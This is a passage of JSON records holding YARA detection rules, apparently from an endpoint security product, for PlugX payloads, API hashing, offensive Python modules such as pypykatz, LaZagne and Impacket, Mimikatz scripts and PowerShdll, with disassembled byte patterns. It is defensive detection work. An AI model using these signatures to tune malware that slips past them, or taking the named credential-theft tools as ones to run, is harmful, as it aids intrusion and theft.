}\n        $stub_hashed_VirtualAllocEx = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 18e4ca08             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_VirtualFree = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 05d13d0b             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_VirtualProtect = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 64182d07             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_VirtualQuery = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 2927c803             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_WaitForSingleObject = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 b4ca7904             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_WideCharToMultiByte = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 b53d2c06             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_WriteFile = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 b592a900             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_WriteProcessMemory = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 99b04806             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $s_exclude_toshiba = \"Toshiba TEC Corporation\" ascii wide\n        $s_exclude_rite = \"Re-Rite\" ascii wide\n        $s_exclude_bridge = \"e-BRIDGE\" ascii wide\n        $s_exclude_cmake = \"cmake-master-dev\\\\external\\\\cmake\\\\Utilities\" ascii wide\n        $s_exclude_sqlbuilder = \"SQL-Builder\" ascii wide\n        // b49cb54a73f628683891a3a9bc6c5ebaf3861d6c4e8737e32adbf81e43f93bc9\n        $s_exclude_watchguard = \"wg_savefile() -- array calloc() failed\" ascii fullword\n        // 219a5b1bf3efdd331b7a2c3bd54e6690993acacd13f8b285ceb6915663a7fb10\n        $s_exclude_teklynx = \"LvcOleDB.dll\" wide fullword\n\n    condition:\n        (\n            any of ($stub_function_*) or\n            (2 of ($stub_hashed*))\n        )\n        and not 1 of ($s_exclude_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pjw_api_hashing"
+  ],
+  "rule_creation_date": "2024-05-27",
+  "rule_modified_date": "2025-11-26",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ApiHashing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-plugx_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565960Z",
+  "creation_date": "2026-03-23T11:46:25.565962Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565968Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/\nhttps://arcticwolf.com/resources/blog/unc6384-weaponizes-zdi-can-25373-vulnerability-to-deploy-plugx/\nhttps://www.exabeam.com/blog/infosec-trends/take-a-deep-dive-into-plugx-malware/"
+  ],
+  "name": "plugx_dll.yar",
+  "content": "rule plugx_dll_payload {\n    meta:\n        title = \"PlugX DLL Payload\"\n        id = \"4315f4dc-b74a-4562-81d3-f2cbd3760140\"\n        description = \"Detects the PlugX DLL Payload.\\nPlugX is a well known RAT (Remote Access Tool) with samples dating back to 2008 that has seen usage by a number of different threat actors.\\nThe PlugX final payload is shellcode delivered via thread injection to a legitimate windows process.\\nIt is recommended to investigate the process tree of this alert and actions taken by the injected process to determine maliciousness.\"\n        references = \"https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/\\nhttps://arcticwolf.com/resources/blog/unc6384-weaponizes-zdi-can-25373-vulnerability-to-deploy-plugx/\\nhttps://www.exabeam.com/blog/infosec-trends/take-a-deep-dive-into-plugx-malware/\"\n        date = \"2025-11-13\"\n        modified = \"2025-11-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Trojan.Plugx\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 887466615d3eac65711077c7b464d9ad70810c33f4ccfec8e49306bce0083da4\n        // 81acffaa10a787dd7dc9836e3f16c8e502146cf34cb468a68833e67b1be39b78\n\n        $encrypted_config = {\n            30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 88 13 00 00 60 ea 00 00 ?? ?? ?? 00 00 00 00 00\n        }\n\n        $config_decryption_call = {\n            6A 04                   // push    0x4 {var_434}\n            68 [4]                  // push    data_100a1014 {var_438}\n            6A (03|04|05|06)        // push    0x3 {var_43c}\n            FF 74 24 34             // push    dword [esp+0x34 {var_408}] {var_440_1}\n            FF D0                   // call    eax\n        }\n\n        $switch_case = {\n            89 C1                   // mov     ecx, eax\n            81 E9 [4]               // sub     ecx, 0x8316427f\n            0F 84 [2] 00 00         // je      0x10004ff9\n            EB 00                   // jmp     0x10003e12\n        }\n\n        $ror13_kernel32 = {\n            5B BC 4A 6A\n        }\n\n        $ror13_ntdll = {\n            5D 68 FA 3C\n        }\n\n        $exclusion_sap_businessintel = \"$SAP Business Objects Production 2\" ascii\n\n    condition:\n        (\n            ((#switch_case > 10) and (1 of ($ror13_*)))\n            or\n            ($encrypted_config and (#config_decryption_call == 3))\n        ) and not 1 of ($exclusion_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "plugx_dll_payload"
+  ],
+  "rule_creation_date": "2025-11-13",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Plugx"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-plugx_payload_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.562931Z",
+  "creation_date": "2026-03-23T11:46:25.562934Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.562940Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/\nhttps://arcticwolf.com/resources/blog/unc6384-weaponizes-zdi-can-25373-vulnerability-to-deploy-plugx/\nhttps://www.exabeam.com/blog/infosec-trends/take-a-deep-dive-into-plugx-malware/"
+  ],
+  "name": "plugx_payload.yar",
+  "content": "rule plugx_thread_payload {\n    meta:\n        title = \"PlugX Thread Payload\"\n        id = \"d03d1e4f-e14c-4cd9-bcc2-643290dbe369\"\n        description = \"Detects the PlugX payload.\\nThe PlugX is a well known RAT (Remote Access Tool) with samples dating back to 2008 that has seen usage by a number of different threat actors.\\nThe PlugX final payload is a shellcode delivered via thread injection to a legitimate Windows process.\\nIt is recommended to investigate the process tree of this alert and actions taken by the injected process to determine maliciousness.\"\n        references = \"https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/\\nhttps://arcticwolf.com/resources/blog/unc6384-weaponizes-zdi-can-25373-vulnerability-to-deploy-plugx/\\nhttps://www.exabeam.com/blog/infosec-trends/take-a-deep-dive-into-plugx-malware/\"\n        date = \"2025-11-06\"\n        modified = \"2025-11-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Trojan.Plugx\"\n        context = \"thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 49967aa9054574e031b4b3015cd70e0ac7993e76d19d77664c86c198c8e4ba01\n        // 324bfb2f414be221e24aaa9fb22cb49e4d4c0904bd7c203afdff158ba63fe35b\n        // 31f73090908b52bfd810589fc8d6a6212edda8bd2c378e3a6d556221b92922a2\n        // 1acb061ce63ee8ee172fbdf518bd261ef2c46d818ffd4b1614db6ce3daa5a885\n\n        $hklm_registry_open_params = {\n            68 02 00 00 80          // push    0x80000002 {var_4ec}  {0x80000002}\n            E8                      // call    0x3ff00\n        }\n\n        $str_decryption_stub_1 = {\n            8B [2-4]                // mov     edx, dword [esp {var_20_1}]\n            8A [3-4]                // mov     bl, byte [esp+edx+0x4 {var_1c}]\n            89 D9                   // mov     ecx, ebx\n            80 E3 ??                // and     bl, 0x46\n            F6 D1                   // not     cl\n            80 E1 ??                // and     cl, 0xb9\n            08 CB                   // or      bl, cl\n            8B [2-3]                // mov     ecx, dword [esp {var_20_1}]\n            88 DF                   // mov     bh, bl\n            80 F3 ??                // xor     bl, 0xa9\n            80 F7 ??                // xor     bh, 0x56\n            80 C1 ??                // add     cl, 0xef\n            20 CB                   // and     bl, cl\n            F6 D1                   // not     cl\n            20 F9                   // and     cl, bh\n            08 D9                   // or      cl, bl\n            [4]                     // mov     byte [esp+edx+0x4 {var_1c}], cl\n            [2-4]                   // mov     ecx, dword [esp {var_20_1}]\n            41                      // inc     ecx\n            EB                      // jmp     0x161\n        }\n\n        $str_decryption_stub_2 = {\n            8B [2-4]                // mov     ecx, dword [esp {var_20}]\n            8A [3-4]                // mov     dl, byte [esp+ecx+0x4 {var_1c}]\n            89 D0                   // mov     eax, edx\n            88 D6                   // mov     dh, dl\n            80 E2 ??                // and     dl, 0x4b\n            F6 D0                   // not     al\n            80 E6 ??                // and     dh, 0x10\n            24 ??                   // and     al, 0xa4\n            08 C6                   // or      dh, al\n            8B [2-3]                // mov     eax, dword [esp {var_20}]\n            08 F2                   // or      dl, dh\n            04 ??                   // add     al, 0xef\n            88 C6                   // mov     dh, al\n            24 ??                   // and     al, 0xb4\n            F6 D6                   // not     dh\n            80 E6 ??                // and     dh, 0x4b\n            08 F0                   // or      al, dh\n            30 D0                   // xor     al, dl\n            [4]                     // mov     byte [esp+ecx+0x4 {var_1c}], al\n            [2-4]                   // mov     eax, dword [esp {var_20}]\n            40                      // inc     eax\n            EB                      // jmp     0x8a\n        }\n\n        $str_decryption_stub_3= {\n            8B [2-4]                // mov     edx, dword [esp {var_94}]  // STR_DEC\n            8A [3-4]                // mov     bl, byte [esp+edx+0x4 {var_90}]\n            89 D9                   // mov     ecx, ebx\n            80 E3 ??                // and     bl, 0x10\n            F6 D1                   // not     cl\n            80 E1 ??                // and     cl, 0xef\n            08 CB                   // or      bl, cl\n            8B [2-3]                // mov     ecx, dword [esp {var_94}]\n            88 DF                   // mov     bh, bl\n            F6 D7                   // not     bh\n            80 C1 ??                // add     cl, 0xef\n            20 CF                   // and     bh, cl\n            F6 D1                   // not     cl\n            20 D9                   // and     cl, bl\n            08 F9                   // or      cl, bh\n            [4]                     // mov     byte [esp+edx+0x4 {var_90}], cl\n            [3-4]                   // mov     ecx, dword [esp {var_94}]\n            41                      // inc     ecx\n            EB                      // jmp     0x236\n        }\n\n        $str_decryption_stub_4 = {\n            8B [2-4]                 // mov     ecx, dword [esp {var_94_1}]\n            8A [3-4]                 // mov     bl, byte [esp+ecx+0x4 {var_90}]\n            89 DA                    // mov     edx, ebx\n            80 E3 ??                 // and     bl, 0x10\n            F6 D2                    // not     dl\n            80 E2 ??                 // and     dl, 0xef\n            08 D3                    // or      bl, dl\n            8B [2-3]                 // mov     edx, dword [esp {var_94_1}]\n            88 DF                    // mov     bh, bl\n            80 E3 ??                 // and     bl, 0xce\n            F6 D7                    // not     bh\n            80 E7 ??                 // and     bh, 0x31\n            80 C2 ??                 // add     dl, 0xef\n            08 FB                    // or      bl, bh\n            88 D7                    // mov     bh, dl\n            80 E2 ??                 // and     dl, 0xce\n            F6 D7                    // not     bh\n            80 E7 ??                 // and     bh, 0x31\n            08 FA                    // or      dl, bh\n            30 DA                    // xor     dl, bl\n            [4]                      // mov     byte [esp+ecx+0x4 {var_90}], dl\n            [3-4]                    // mov     ecx, dword [esp {var_94_1}]\n            41                       // inc     ecx\n            EB                       // jmp     0x302\n        }\n\n        $str_decryption_stub_5 = {\n            8B [2-4]                 // mov     eax, dword [esp {var_94_3}]\n            8A [3-4]                 // mov     dl, byte [esp+eax+0x4 {var_90}]\n            89 D1                    // mov     ecx, edx\n            80 E2 ??                 // and     dl, 0x2e\n            F6 D1                    // not     cl\n            80 E1 ??                 // and     cl, 0xd1\n            08 CA                    // or      dl, cl\n            8B [2-3]                 // mov     ecx, dword [esp {var_94_3}]\n            88 D6                    // mov     dh, dl\n            80 F2 ??                 // xor     dl, 0x41\n            80 F6 ??                 // xor     dh, 0x3a\n            80 E2 ??                 // and     dl, 0x45\n            80 E6 ??                 // and     dh, 0xba\n            80 C1 ??                 // add     cl, 0xef\n            08 D6                    // or      dh, dl\n            88 CA                    // mov     dl, cl\n            80 E1 ??                 // and     cl, 0xba\n            F6 D2                    // not     dl\n            80 E2 ??                 // and     dl, 0x45\n            08 D1                    // or      cl, dl\n            30 F1                    // xor     cl, dh\n            [4]                      // mov     byte [esp+eax+0x4 {var_90}], cl\n            [3-4]                    // mov     eax, dword [esp {var_94_3}]\n            40                       // inc     eax\n            EB                       // jmp     0x5ed\n        }\n\n        $str_decryption_stub_6 = {\n            8B [2-4]                 // mov     eax, dword [esp {var_94_4}]\n            8A [3-4]                 // mov     dl, byte [esp+eax+0x4 {var_90}]\n            89 D1                    // mov     ecx, edx\n            88 D6                    // mov     dh, dl\n            80 E2 ??                 // and     dl, 0x88\n            F6 D1                    // not     cl\n            80 E6 ??                 // and     dh, 0x60\n            80 E1 ??                 // and     cl, 0x17\n            08 CE                    // or      dh, cl\n            8B [2-3]                 // mov     ecx, dword [esp {var_94_4}]\n            80 F6 ??                 // xor     dh, 0x70\n            08 F2                    // or      dl, dh\n            80 C1 ??                 // add     cl, 0xef\n            88 CE                    // mov     dh, cl\n            80 E1 ??                 // and     cl, 0x77\n            F6 D6                    // not     dh\n            80 E6 ??                 // and     dh, 0x88\n            08 F1                    // or      cl, dh\n            30 D1                    // xor     cl, dl\n            [4]                      // mov     byte [esp+eax+0x4 {var_90}], cl\n            [3-4]                    // mov     eax, dword [esp {var_94_4}]\n            40                       // inc     eax\n            EB                       // jmp     0x6bb\n        }\n\n    condition:\n        $hklm_registry_open_params and 1 of ($str_decryption_stub_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "plugx_thread_payload"
+  ],
+  "rule_creation_date": "2025-11-06",
+  "rule_modified_date": "2025-11-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Plugx"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-potential_malicious_python_modules_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573742Z",
+  "creation_date": "2026-03-23T11:46:25.573746Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573754Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/skelsec/pypykatz\nhttps://github.com/n1nj4sec/pupy\nhttps://github.com/rootm0s/WinPwnage\nhttps://github.com/AlessandroZ/LaZagne\nhttps://github.com/SecureAuthCorp/impacket\nhttps://github.com/byt3bl33d3r/CrackMapExec\nhttps://github.com/PowerShellMafia/PowerSploit"
+  ],
+  "name": "potential_malicious_python_modules.yar",
+  "content": "rule potential_malicious_python_modules {\n    meta:\n        title = \"Malicious Python Module\"\n        id = \"db2127fd-de6b-4351-8648-2aec9a5f4059\"\n        description = \"Detects the presence of known malicious Python modules linked to tools such as Pypykatz, Pupy, WinPwnage, LaZagne, Impacket, CrackMapExec, and PowerSploit.\\nThese tools are commonly used for activities like privilege escalation, remote control, and data exfiltration.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the legitimacy of this action.\"\n        references = \"https://github.com/skelsec/pypykatz\\nhttps://github.com/n1nj4sec/pupy\\nhttps://github.com/rootm0s/WinPwnage\\nhttps://github.com/AlessandroZ/LaZagne\\nhttps://github.com/SecureAuthCorp/impacket\\nhttps://github.com/byt3bl33d3r/CrackMapExec\\nhttps://github.com/PowerShellMafia/PowerSploit\"\n        date = \"2020-12-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0192;attack.s0349;attack.t1059.006\"\n        classification = \"Windows.Tool.PythonMaliciousModule\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // https://github.com/skelsec/pypykatz\n        // pypykatz[.|\\|/]\n        $pypykatz = { 70 79 70 79 6b 61 74 7a (5c | 2e | 2f) }\n\n        // https://github.com/n1nj4sec/pupy\n        $pupy_string1 = \"exe_pupyx64.exe\" ascii\n        $pupy_string2 = \"pupy.error\" ascii\n        $pupy_string3 = \"get_pupy_config\" ascii\n        $pupy_string4 = \"get_pupy_config() -> string\" ascii\n        $pupy_string5 = \"get current pupy architecture (x86 or x64)\" ascii\n\n        // https://github.com/guardicore/monkey\n        // infection_monkey[.|\\|/]\n        $infection_monkey = { 69 6e 66 65 63 74 69 6f 6e 5f 6d 6f 6e 6b 65 79 (5c | 2e | 2f) }\n\n        // https://github.com/rootm0s/WinPwnage\n        // Used by Pupy and some attackers.\n        // winpwnage[.|\\|/]\n        $winpwnage_pyx = { 77 69 6e 70 77 6e 61 67 65 (5c | 2e | 2f) }\n\n        // https://github.com/AlessandroZ/LaZagne\n        // lazagne[.|\\|/]config[.|\\|/]\n        $lazagne_config = { 6c 61 7a 61 67 6e 65 (5c | 2e | 2f) 63 6f 6e 66 69 67 (5c | 2e | 2f) }\n\n        // https://github.com/AlessandroZ/LaZagne\n        // lazagne[.|\\|/]softwares[.|\\|/]windows\n        $lazagne_softwares_windows = { 6c 61 7a 61 67 6e 65 (5c | 2e | 2f) 73 6f 66 74 77 61 72 65 73 (5c | 2e | 2f) 77 69 6e 64 6f 77 73 }\n\n        // https://github.com/SecureAuthCorp/impacket\n        // impacket[.|\\|/]\n        $impacket = { 69 6d 70 61 63 6b 65 74 (5c | 2e | 2f) }\n\n        // https://github.com/byt3bl33d3r/CrackMapExec\n        // cme[.|\\|/]modules\n        $cme_modules = { 63 6d 65 (5c | 2e | 2f) 6d 6f 64 75 6c 65 73 }\n\n        // https://github.com/PowerShellMafia/PowerSploit\n        // PowerSploit can be packed with the malicious tool.\n        // PowerSploit[.|\\|/]Exfiltration\n        $powersploit = { 70 6f 77 65 72 73 70 6c 6f 69 74 (5c | 2e | 2f) 45 78 66 69 6c 74 72 61 74 69 6f 6e }\n\n        // Possible packed powershell scripts\n        $clear_ps1_credential_injection = \"Invoke-CredentialInjection.ps1\"\n        $clear_ps1_mimikatz = \"Invoke-Mimikatz.ps1\"\n        $clear_ps1_token_manipulation = \"Invoke-TokenManipulation.ps1\"\n        $clear_ps1_reflective_pe_injection = \"Invoke-ReflectivePEInjection.ps1\"\n        $clear_ps1_dll_injection = \"Invoke-DllInjection.ps1\"\n\n        // Exclusion for C:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe\n        $trend1 = \"C:\\\\Program Files\\\\Trend Micro\\\\AMSP\\\\coreServiceShell.exe\" ascii fullword\n        $trend2 = \"C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp\\\\virus\" ascii fullword\n        $trend3 = \"trendmicro.com\" ascii fullword\n        $trend4 = \"!http://www.savestibet.com/\"\n\n        // Exclusion for\n        // - c:\\users\\XXX\\Appdata\\Roaming\\JetBrains\\IdeaIC2023.2\\plugins\\python-ce\\lib\\python-ce.jar (https://plugins.jetbrains.com/plugin/7322-python-community-edition)\n        // - C:\\Program Files\\JetBrains\\PyCharm 2023.2.1\\plugins\\python\\lib\\python.jar\n        // - C:\\Program Files\\JetBrains\\CLion 2023.2.2\\plugins\\python-ce\\lib\\python-ce.jar\n        $intellij1 = \"merged_full_v5_splitted/impacket.json\" ascii fullword\n        $intellij2 = \"META-INF/intellij.python.community\" ascii fullword\n        $intellij3 = \"com/jetbrains/python/\" ascii\n\n        // Exclusion for AppData\\Roaming\\Code\\User\\globalStorage\\visualstudioexptteam.intellicode-api-usage-examples\\supported_calls.json\n        // json might already be ingested by the browser, so we have no longer ponctuation, so adding a generic element to the mix to be sure to exclude what's right\n        $code_intellisense1 = \"attribute_calls\" ascii\n        $code_intellisense2 = \"builtins\" ascii\n        $code_intellisense3 = \"version\" ascii\n        $code_intellisense4 = \"element_of(\" ascii\n        $code_intellisense5 = \"#NoneType#.\" ascii\n\n    condition:\n        (\n            #pypykatz > 3 or\n            2 of ($pupy_*) or\n            #infection_monkey > 3 or\n            #impacket > 3 or\n            #winpwnage_pyx > 3 or\n            #lazagne_config > 3 or\n            #lazagne_softwares_windows > 3 or\n            #cme_modules > 3 or\n            #powersploit > 3 or\n            3 of ($clear_ps1_*)\n        )\n        and not all of ($trend*)\n        and not all of ($intellij*)\n        and not all of ($code_intellisense*)\n        // NOTE: filesize is used to limit false positive with Yara memory\n        and filesize < 50MB\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "potential_malicious_python_modules"
+  ],
+  "rule_creation_date": "2020-12-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.PythonMaliciousModule"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-powershdll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571133Z",
+  "creation_date": "2026-03-23T11:46:25.571136Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571141Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/p3nt4/PowerShdll"
+  ],
+  "name": "powershdll.yar",
+  "content": "rule powershdll {\n    meta:\n        title = \"PowerShdll HackTool\"\n        id = \"ecbe1a2b-6057-4173-b589-3348a3ff8def\"\n        description = \"Detects the PowerShdll tool.\\nPowerShdll is a tool designed to execute PowerShell scripts without spawning the PowerShell executable.\\nThis technique allows attackers to evade traditional detection mechanisms that monitor for the creation of the powershell.exe process.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/p3nt4/PowerShdll\"\n        date = \"2022-10-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.defense_evasion;attack.t1202\"\n        classification = \"Windows.HackTool.PowerShdll\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 856594ecb59159157b1bc436325858e118a0f018198ec11b72d1c31b7f6fee4b\n        // b451e9ffae8144f6f23a3661f1148f77e2a511d5c9796c376522689a47de355e\n        // b86a1529079e22bcb551e1986dc9faad03f8b8b5b41b56adbc614102d19c1216\n\n        $s1 = \"PowerShdll.exe\" fullword wide\n        $s2 = \"PowerShdll.dll\" fullword wide\n        $s3 = \"36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21\" fullword ascii\n        $s4 = \"31D2B969-7608-426E-9D8E-A09FC9A516801\" fullword ascii\n        $s5 = \"LoadScript\" ascii\n        $s6 = \"AddScript\" fullword ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 40KB and 4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "powershdll"
+  ],
+  "rule_creation_date": "2022-10-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PowerShdll"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202",
+    "attack.t1059.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ppldump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
